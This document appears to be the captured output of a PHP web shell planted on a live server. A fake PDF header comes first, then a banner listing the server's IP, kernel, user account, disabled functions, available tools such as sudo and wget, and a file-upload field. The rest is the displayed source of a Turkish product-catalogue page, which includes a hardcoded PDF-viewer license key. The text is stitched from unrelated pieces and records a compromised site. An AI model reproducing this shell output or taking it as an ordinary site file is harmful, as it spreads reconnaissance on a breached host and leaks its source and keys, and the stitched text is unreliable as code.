%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <
| Server IP : 212.252.79.165 / Your IP : 216.73.216.24 [ Web Server : Apache System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 User : cehaburo ( 1001) PHP Version : 8.1.33 Disable Function : exec,passthru,shell_exec,system Domains : 48 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/cehaburo/public_html/ |
Upload File : |
<?php
include 'lib/connection1.php';
// tbl_product_category tablosundan tüm verileri çekme
$sql = "SELECT * FROM tbl_product_category";
$result = $ceha->query($sql);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Product Library</title>
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://cdn.jsdelivr.net/npm/pdfjs-dist@2.7.570/build/pdf.worker.min.jss"></script>
<script src='./pdfjs/lib/webviewer.min.js'></script>
<style>
#pdf-viewer {
width: 268px;
height: 380px;
/* Adjust height as needed */
}
body{
font-family: "Source Sans 3", sans-serif;
}
</style>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Source+Sans+3:ital,wght@0,200..900;1,200..900&display=swap" rel="stylesheet">
</head>
<body class="text-[#ACACAC]">
<!-- Header Section -->
<header class="flex justify-between items-center p-4 text-white border">
<!-- Logo -->
<div class="container mx-auto flex items-center justify-between">
<img src="./images/ceha-dark-logo.png" alt="Logo" class="h-8 w-auto mr-2">
<!-- Search Bar -->
<!-- <div class="border-2 border-[#1F3663] rounded-md flex items-center w-[230px] h-[41px] px-2 gap-2">
<div>
<svg width="18" height="18" viewBox="0 0 18 18" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M17.671 16.0839L14.1871 12.5986C16.7939 9.115 16.0831 4.17775 12.5996 1.57096C9.11598 -1.03583 4.17873 -0.325041 1.57194 3.15854C-1.03485 6.64212 -0.324064 11.5794 3.15952 14.1862C5.95782 16.2802 9.80122 16.2802 12.5996 14.1862L16.0849 17.6715C16.5229 18.1095 17.233 18.1095 17.671 17.6715C18.109 17.2335 18.109 16.5234 17.671 16.0854L17.671 16.0839ZM7.90858 13.5135C4.81254 13.5135 2.30273 11.0036 2.30273 7.90761C2.30273 4.81156 4.81254 2.30176 7.90858 2.30176C11.0046 2.30176 13.5144 4.81156 13.5144 7.90761C13.5111 11.0022 11.0033 13.5102 7.90858 13.5135Z" fill="#1F3663" fill-opacity="0.5" />
</svg>
</div>
<div>
<input type="text" placeholder="Ürün Ara" class="focus:outline-none text-black">
</div>
</div> -->
</div>
</header>
<!-- Main Section -->
<main class="hidden container mx-auto md:grid grid-cols-1 md:grid-cols-8 h-full">
<!-- First Column -->
<div class="col-span-1 md:col-span-2 border h-full p-5">
<?php
$sql_main = "SELECT * FROM tbl_product_category WHERE parent_id = 0";
$result_main = $ceha->query($sql_main);
if ($result_main->num_rows > 0) {
while ($row_main = $result_main->fetch_assoc()) {
$mainProductId = $row_main['id'];
$mainProductName = $row_main['title_tr'];
echo '<ul class="list-none p-0 ">';
echo '<li class="flex items-center justify-between space-x-2 cursor-pointer py-4 hover:text-[#0E1C38] hover:bg-[#F3F5F6] hover:rounded-xl">';
echo '<div class="listItem flex items-center gap-2 px-2">';
echo '<span class=" text-semibold text-xl">
<svg width="18" height="18" viewBox="0 0 18 18" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_0_133)">
<path d="M0 6.74322V13.5C0.00249609 15.57 1.67998 17.2475 3.75001 17.25H14.25C16.32 17.2475 17.9975 15.57 18 13.5V6.65997L0 6.74322Z" fill="#ACACAC"/>
<path d="M14.25 2.24998H9.35399C9.23801 2.25075 9.12336 2.22509 9.01874 2.17499L6.65174 0.986988C6.33927 0.831387 5.99506 0.750281 5.64599 0.75H3.74998C1.67998 0.752461 0.00249609 2.42994 0 4.49998V5.24322L17.8972 5.15997C17.5064 3.45963 15.9947 2.25346 14.25 2.24998Z" fill="#ACACAC"/>
</g>
<defs>
<clipPath id="clip0_0_133">
<rect width="18" height="18" fill="white"/>
</clipPath>
</defs>
</svg>
</span>';
echo '<span class=" font-semibold">' . $mainProductName . '</span>';
echo '</div>';
echo '<span class=" text-right">
<svg width="10" height="10" viewBox="0 0 10 10" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M2.53296 9.37503C2.5331 9.20932 2.59905 9.05046 2.71629 8.93336L5.91296 5.73669C6.00972 5.63996 6.08647 5.52512 6.13884 5.39872C6.1912 5.27232 6.21815 5.13684 6.21815 5.00003C6.21815 4.86321 6.1912 4.72773 6.13884 4.60134C6.08647 4.47494 6.00972 4.36009 5.91296 4.26336L2.72046 1.06878C2.60661 0.950901 2.54361 0.793025 2.54504 0.629152C2.54646 0.465279 2.61219 0.308521 2.72807 0.192641C2.84395 0.0767607 3.00071 0.0110302 3.16458 0.00960615C3.32846 0.00818213 3.48633 0.0711786 3.60421 0.185027L6.79671 3.37711C7.22597 3.80722 7.46706 4.39007 7.46706 4.99774C7.46706 5.60541 7.22597 6.18825 6.79671 6.61836L3.60004 9.81503C3.51276 9.90237 3.40156 9.9619 3.28048 9.9861C3.1594 10.0103 3.03386 9.99811 2.9197 9.95104C2.80555 9.90397 2.7079 9.82414 2.63907 9.72162C2.57024 9.61911 2.53331 9.4985 2.53296 9.37503Z" fill="#ACACAC"/>
</svg>
</span>';
echo '</li>';
$sql_sub = "SELECT * FROM tbl_product_category WHERE parent_id = $mainProductId";
$result_sub = $ceha->query($sql_sub);
if ($result_sub->num_rows > 0) {
echo '<ul class="list-none pl-6 hidden">';
while ($row_sub = $result_sub->fetch_assoc()) {
$subProductId = $row_sub['id'];
$subProductName = $row_sub['title_tr'];
$sql_variations = "SELECT * FROM tbl_product WHERE category_id = $subProductId";
$result_variations = $ceha->query($sql_variations);
echo '<li class="flex items-center justify-between space-x-2 w-full cursor-pointer py-4 px-2 font-semibold hover:text-[#0E1C38] hover:bg-[#F3F5F6] hover:rounded-xl">';
echo '<div class="sublist-toggle flex items-center gap-2 ">';
echo '<span class="text-md">
<svg width="18" height="18" viewBox="0 0 18 18" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_0_133)">
<path d="M0 6.74322V13.5C0.00249609 15.57 1.67998 17.2475 3.75001 17.25H14.25C16.32 17.2475 17.9975 15.57 18 13.5V6.65997L0 6.74322Z" fill="#ACACAC"/>
<path d="M14.25 2.24998H9.35399C9.23801 2.25075 9.12336 2.22509 9.01874 2.17499L6.65174 0.986988C6.33927 0.831387 5.99506 0.750281 5.64599 0.75H3.74998C1.67998 0.752461 0.00249609 2.42994 0 4.49998V5.24322L17.8972 5.15997C17.5064 3.45963 15.9947 2.25346 14.25 2.24998Z" fill="#ACACAC"/>
</g>
<defs>
<clipPath id="clip0_0_133">
<rect width="18" height="18" fill="white"/>
</clipPath>
</defs>
</svg>
</span>';
echo '<span class="sublist-toggle">' . $subProductName . '</span>';
echo '</div>';
if ($result_variations->num_rows > 0) {
echo '<span class="ml-auto sublist-toggle">
<svg width="10" height="10" viewBox="0 0 10 10" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M2.53296 9.37503C2.5331 9.20932 2.59905 9.05046 2.71629 8.93336L5.91296 5.73669C6.00972 5.63996 6.08647 5.52512 6.13884 5.39872C6.1912 5.27232 6.21815 5.13684 6.21815 5.00003C6.21815 4.86321 6.1912 4.72773 6.13884 4.60134C6.08647 4.47494 6.00972 4.36009 5.91296 4.26336L2.72046 1.06878C2.60661 0.950901 2.54361 0.793025 2.54504 0.629152C2.54646 0.465279 2.61219 0.308521 2.72807 0.192641C2.84395 0.0767607 3.00071 0.0110302 3.16458 0.00960615C3.32846 0.00818213 3.48633 0.0711786 3.60421 0.185027L6.79671 3.37711C7.22597 3.80722 7.46706 4.39007 7.46706 4.99774C7.46706 5.60541 7.22597 6.18825 6.79671 6.61836L3.60004 9.81503C3.51276 9.90237 3.40156 9.9619 3.28048 9.9861C3.1594 10.0103 3.03386 9.99811 2.9197 9.95104C2.80555 9.90397 2.7079 9.82414 2.63907 9.72162C2.57024 9.61911 2.53331 9.4985 2.53296 9.37503Z" fill="#ACACAC"/>
</svg>
</span>'; // Varyasyonlar için ok işareti
}
echo '</li>';
if ($result_variations->num_rows > 0) {
echo '<ul class="list-none pl-6 hidden">';
while ($variation = $result_variations->fetch_assoc()) {
$variationName = $variation['title_tr'];
echo '<li class="variation_toggle p-2 cursor-pointer font-semibold hover:text-[#0E1C38] hover:bg-[#F3F5F6] hover:rounded-xl">' . $variationName . '</li>';
}
echo '</ul>';
}
}
echo '</ul>';
}
echo '</ul>';
}
} else {
echo "Ürün bulunamadı.";
}
?>
</div>
<!-- Second Column -->
<div class="col-span-1 md:col-span-3 border h-full">
<div>
<p id="sort-button" class="text-xl font-semibold hover:text-[#0E1C38] mb-2 flex items-center gap-2 border-b p-2 cursor-pointer">
<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect x="0.4" y="0.4" width="15.2" height="15.2" rx="4.6" stroke="#D2D2D2" stroke-width="0.8" />
</svg>
Ad
</p>
</div>
<!-- PDF List -->
<div id="pdf-list-container">
<ul id="pdf-list" class="list-none">
</ul>
</div>
</div>
<!-- Third Column -->
<div class="col-span-2 md:col-span-3 border-r h-screen">
<!-- PDF Viewer -->
<div class="w-full px-5 bg-[#F4F4F4] h-[507px] flex justify-center items-center">
<div id="viewer" class="w-[316px] h-[455px] rounded-xl border-8"></div>
</div>
<div class="product-catalog-details hidden">
</div>
</div>
</main>
<div>
<div class="container mx-auto p-4 md:hidden flex items-center justify-between">
<div class="backButton">
<a href="index.php" class="flex items-center gap-2 text-black font-semibold text-[19px]">
<svg width="8" height="15" viewBox="0 0 8 15" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M7.13416 1.27907C7.13395 1.51866 7.0386 1.74836 6.86908 1.91767L2.24706 6.53968C2.10716 6.67955 1.99619 6.8456 1.92047 7.02836C1.84476 7.21112 1.80579 7.407 1.80579 7.60482C1.80579 7.80264 1.84476 7.99853 1.92047 8.18128C1.99619 8.36404 2.10716 8.53009 2.24706 8.66996L6.86305 13.289C7.02766 13.4594 7.11875 13.6877 7.11669 13.9246C7.11463 14.1616 7.01959 14.3882 6.85204 14.5558C6.68449 14.7233 6.45784 14.8183 6.2209 14.8204C5.98396 14.8225 5.75569 14.7314 5.58525 14.5668L0.969261 9.95137C0.348594 9.32948 1.00905e-05 8.48675 1.01673e-05 7.60813C1.02441e-05 6.72951 0.348594 5.88678 0.969262 5.2649L5.59128 0.642881C5.71748 0.516598 5.87826 0.430525 6.05333 0.395526C6.2284 0.360527 6.40991 0.378169 6.57497 0.446227C6.74002 0.514285 6.88122 0.629709 6.98074 0.777932C7.08026 0.926156 7.13364 1.10054 7.13416 1.27907Z" fill="#1F3663" />
</svg>
<div>
Geri
</div>
</a>
</div>
</div>
</div>
<div class="container mx-auto flex md:hidden w-full">
<div class="library flex flex-col items-center h-screen w-full">
<h3 class="flex justify-center w-full text-black font-semibold text-[19px]">Kütüphane</h3>
<div class="mainProduct grid grid-cols-3 mt-5">
<?php
$sql_main = "SELECT * FROM tbl_product_category WHERE parent_id = 0";
$result_main = $ceha->query($sql_main);
if ($result_main->num_rows > 0) {
while ($row_main = $result_main->fetch_assoc()) {
$mainProductId = $row_main['id'];
$mainProductName = $row_main['title_tr'];
echo '<ul class="list-none-mobile p-0 w-full">';
echo '<a href="/libraryForMobile/sub-product.php?mainProductId=' . $mainProductId . '" class="">';
echo '<li class="flex items-center space-x-2 cursor-pointer py-2 w-[108px] h-[167px] flex-col items-center cols-span-1">';
echo '<span class="listItem-mobile text-xl">
<svg width="77" height="77" viewBox="0 0 77 77" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_0_386)">
<path d="M0.00158691 28.9481V57.5509C0.0121534 66.3139 7.11331 73.415 15.8762 73.4256H60.3251C69.0879 73.415 76.1892 66.3139 76.1996 57.5509V28.5957L0.00158691 28.9481Z" fill="#446DBB"/>
<path d="M60.325 9.92693H39.5991C39.1082 9.93021 38.6228 9.82157 38.1799 9.60949L28.1599 4.58042C26.8371 3.92172 25.38 3.57838 23.9023 3.57719H15.8761C7.11331 3.58761 0.0121534 10.6888 0.00158691 19.4517V22.598L75.7646 22.2456C74.1103 15.0477 67.7105 9.94167 60.325 9.92693Z" fill="#446DBB"/>
</g>
<defs>
<clipPath id="clip0_0_386">
<rect width="76.198" height="76.198" fill="white" transform="translate(0.00158691 0.402176)"/>
</clipPath>
</defs>
</svg>
</span>';
echo '<span class="listItem-mobile font-semibold w-[100px] text-[#818181] text-center text-[15px]">' . $mainProductName . '</span>';
echo '</li>';
echo '</a>';
echo '</ul>';
}
}
?>
</div>
</div>
</div>
<footer class="absolute bottom-[1rem] w-full">
<div class="md:hidden flex justify-center">
<img src="./images/mobile-footer.png" alt="">
</div>
</footer>
<script src="https://cdn.pdfjs.express/7.2.0/lib/webviewer.min.js"></script>
<script>
// Ana ürünlerin yanındaki ok işaretine tıklanınca alt ürünlerin görünürlüğünü değiştir
const arrows = document.querySelectorAll('.listItem');
arrows.forEach(arrow => {
arrow.addEventListener('click', () => {
const sublist = arrow.parentElement.nextElementSibling;
sublist.classList.toggle('hidden'); // hidden sınıfı eklenip çıkarılarak alt ürünlerin görünürlüğü kontrol edilir
});
});
</script>
<!-- JavaScript kodu -->
<script>
// Varyasyon seçildiğinde
const sublistToggles = document.querySelectorAll('.sublist-toggle');
sublistToggles.forEach(toggle => {
toggle.addEventListener('click', () => {
const sublist = toggle.parentElement.nextElementSibling;
sublist.classList.toggle('hidden'); // hidden sınıfı eklenip çıkarılarak varyasyonların görünürlüğü kontrol edilir
});
// // Eğer varyasyon seçildiyse, PDF dosyasını göster
// const pdfFile = toggle.nextElementSibling.nextElementSibling;
// if (pdfFile) {
// pdfFile.classList.toggle('hidden');
// }
});
// PDF dosyasına tıklandığında
// const pdfFiles = document.querySelectorAll('.pdf-file');
// pdfFiles.forEach(pdf => {
// pdf.addEventListener('click', () => {
// const pdfInfo = pdf.nextElementSibling;
// if (pdfInfo) {
// pdfInfo.classList.toggle('hidden');
// }
// });
// });
</script>
<script>
// Tüm PDF linklerini seçin
const pdfLinks = document.querySelectorAll('.pdf-link');
// Her bir PDF linki için tıklama olayı ekle
pdfLinks.forEach(pdfLink => {
pdfLink.addEventListener('click', (event) => {
event.preventDefault(); // Bağlantının varsayılan davranışını engelle
// Tıklanan PDF dosyasının yolunu alın
const pdfPath = pdfLink.getAttribute('data-path');
console.log('Tıklanan PDF dosyasının yolu:', pdfPath);
// Burada PDF dosyasının yolu ile yapılacak işlemleri gerçekleştirebilirsiniz
});
});
</script>
<script>
function showPdfDetails(pdfName, pdfSize) {
console.log('Tıklanan PDF dosyasının adı:', pdfName);
// Tıklanan PDF'nin adı ve boyutunu alıp, belirli bir bölümde gösteriyoruz
const pdfDetailsDiv = document.querySelector('.product-catalog-details');
const pdfDetailsContent = `
<div class="p-4 h-[280px] flex justify-center items-center">
<div class="w-[550px] h-[200px] border rounded-xl flex flex-col justify-center items-center p-4">
<p class="flex justify-between w-full border-b p-4"><span class="font-semibold ">Ürün Adı</span> <span class="font-bold text-[#1F3663]">${pdfName}</span> </p>
<p class="flex justify-between w-full border-b p-4"><span class="font-semibold ">Dosya Boyu</span> <span class="font-bold text-[#1F3663]">${pdfSize} KB</span> </p>
<p class="flex justify-between w-full p-4"><span class="font-semibold ">Dosya Türü</span> <span class="font-bold text-[#1F3663]">PDF</span></p>
</div>
</div>
`;
pdfDetailsDiv.innerHTML = pdfDetailsContent;
pdfDetailsDiv.classList.remove('hidden'); // Detayları göstermek için gizli sınıfı kaldır
}
</script>
<script>
// Varyasyonları içeren liste öğelerini seçin
const variationItems = document.querySelectorAll('.variation_toggle');
// Her bir varyasyon öğesi için bir tıklama olayı ekle
variationItems.forEach(variationItem => {
variationItem.addEventListener('click', async () => {
// Tıklanan varyasyonun ismini alın
const variationName = variationItem.textContent.trim();
// PHP betiğine Ajax isteği gönder ve varyasyon ismini ileti
const response = await fetch('search_product_id.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `variation_name=${encodeURIComponent(variationName)}`,
});
// Sunucudan gelen yanıtı JSON olarak alın
const data = await response.json();
// Yanıtta dönen ürün ID'sini alın
const productId = data.product_id;
// ID'yi konsola yazdırın
console.log('Tıklanan varyasyonun ürün ID\'si:', productId);
// Eğer gerekirse, bu ürün ID'sini başka bir işlemde kullanabilirsiniz
const pdfListResponse = await fetch('list_pdf.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `product_id=${productId}`,
});
// PDF listesini içeren HTML'yi alın
const pdfListHtml = await pdfListResponse.text();
// PDF listesini gösterilen konteynere ekleyin
document.getElementById('pdf-list-container').innerHTML = pdfListHtml;
});
});
</script>
<script>
// Tıklanan varyasyonun ürün ID'sini alın
const productId = data.product_id;
// PDF listesini güncellemek için bir POST isteği gönderin
const pdfListResponse = await fetch('list_pdf.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `product_id=${productId}`,
});
// PDF listesini içeren HTML'yi alın
const pdfListHtml = await pdfListResponse.text();
// PDF listesini gösterilen konteynere ekleyin
document.getElementById('pdf-list-container').innerHTML = pdfListHtml;
</script>
<script>
getPdf = (pdfID, pdfName, pdfSize) => {
console.log('Tıklanan PDF dosyasının ID\'si:', pdfName, pdfSize, pdfID);
// Tıklanan PDF'nin ID'sini konsola yazdır
showPdfDetails(pdfName, pdfSize);
WebViewer({
path: './pdfjs/lib',
licenseKey: 'DvnS39zAfO7h6TiaKY4q',
initialDoc: pdfID,
}, document.getElementById('viewer'))
.then(instance => {
// now you can access APIs through the WebViewer instance
const {
Core,
UI
} = instance;
// adding an event listener for when a document is loaded
Core.documentViewer.addEventListener('documentLoaded', () => {
console.log('document loaded');
});
// adding an event listener for when the page number has changed
Core.documentViewer.addEventListener('pageNumberUpdated', (pageNumber) => {
console.log(`Page number is: ${pageNumber}`);
});
});
}
</script>
</body>
</html>